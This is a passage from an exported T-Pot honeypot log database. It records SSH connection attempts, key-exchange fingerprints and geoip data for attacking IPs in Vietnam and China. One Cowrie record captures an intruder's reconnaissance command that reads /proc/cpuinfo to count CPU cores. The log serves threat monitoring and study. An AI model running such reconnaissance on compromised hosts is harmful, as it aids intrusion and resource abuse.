fda360b1b4f4d3455cb75c6e7edb1d11", "session": "42d94f72ba41", "@version": "1", "timestamp": "2021-09-20T11:06:27.056465Z", "@timestamp": "2021-09-20T11:06:27.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21924	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.10174+03	2021-09-20 14:15:04.270613+03	{"_id": "gQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d4888ec67dea", "@version": "1", "timestamp": "2021-09-20T11:06:27.101740Z", "@timestamp": "2021-09-20T11:06:27.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21925	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:22.452674+03	2021-09-20 14:15:04.271612+03	{"_id": "owXiAnwBvYTbRNuEr_2L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1235797033188496, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40496, "dest_port": 22, "timestamp": "2021-09-20T11:06:22.452674Z", "@timestamp": "2021-09-20T11:06:22.452Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21926	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:06:22.859384+03	2021-09-20 14:15:04.272613+03	{"_id": "qgXiAnwBvYTbRNuEsP1n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0519a0a73be2", "@version": "1", "timestamp": "2021-09-20T11:06:22.859384Z", "@timestamp": "2021-09-20T11:06:22.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21943	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:25.05613+03	2021-09-20 14:15:04.293613+03	{"_id": "CQXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:55550 (192.168.176.2:22) [session: e63a7fa3aa45]", "session": "e63a7fa3aa45", "@version": "1", "protocol": "ssh", "src_port": 55550, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.056130Z", "@timestamp": "2021-09-20T11:06:25.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21927	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:23.689281+03	2021-09-20 14:15:04.273612+03	{"_id": "xgXiAnwBvYTbRNuEs_1z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2104860043373168, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37322, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.689281Z", "@timestamp": "2021-09-20T11:06:23.689Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21928	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.168744+03	2021-09-20 14:15:04.274613+03	{"_id": "zAXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:53676 (192.168.176.2:22) [session: 9394aeab2409]", "session": "9394aeab2409", "@version": "1", "protocol": "ssh", "src_port": 53676, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.168744Z", "@timestamp": "2021-09-20T11:06:23.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21929	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.458061+03	2021-09-20 14:15:04.276637+03	{"_id": "ywXiAnwBvYTbRNuEtP1T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5022bd2f354b", "@version": "1", "duration": 3.1514673233032227, "timestamp": "2021-09-20T11:06:23.458061Z", "@timestamp": "2021-09-20T11:06:23.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21930	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:23.406345+03	2021-09-20 14:15:04.277614+03	{"_id": "1AXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:37322 (192.168.176.2:22) [session: 5e36015ef099]", "session": "5e36015ef099", "@version": "1", "protocol": "ssh", "src_port": 37322, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.406345Z", "@timestamp": "2021-09-20T11:06:23.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21931	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:23.849468+03	2021-09-20 14:15:04.279613+03	{"_id": "0gXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:23.849468Z", "@timestamp": "2021-09-20T11:06:23.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21932	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.357655+03	2021-09-20 14:15:04.280612+03	{"_id": "1gXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ca30ea541b77", "@version": "1", "duration": 3.6948587894439697, "timestamp": "2021-09-20T11:06:23.357655Z", "@timestamp": "2021-09-20T11:06:23.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21933	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:23.163825+03	2021-09-20 14:15:04.281614+03	{"_id": "2wXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:40276 (192.168.176.2:22) [session: 42d94f72ba41]", "session": "42d94f72ba41", "@version": "1", "protocol": "ssh", "src_port": 40276, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.163825Z", "@timestamp": "2021-09-20T11:06:23.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21934	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:23.383399+03	2021-09-20 14:15:04.282612+03	{"_id": "3AXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53676, "timestamp": "2021-09-20T11:06:23.383399", "@timestamp": "2021-09-20T11:06:23.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21935	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:23.412537+03	2021-09-20 14:15:04.283613+03	{"_id": "3QXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53676, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.412537", "@timestamp": "2021-09-20T11:06:23.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21936	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:23.812182+03	2021-09-20 14:15:04.284613+03	{"_id": "3gXiAnwBvYTbRNuEtP1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": 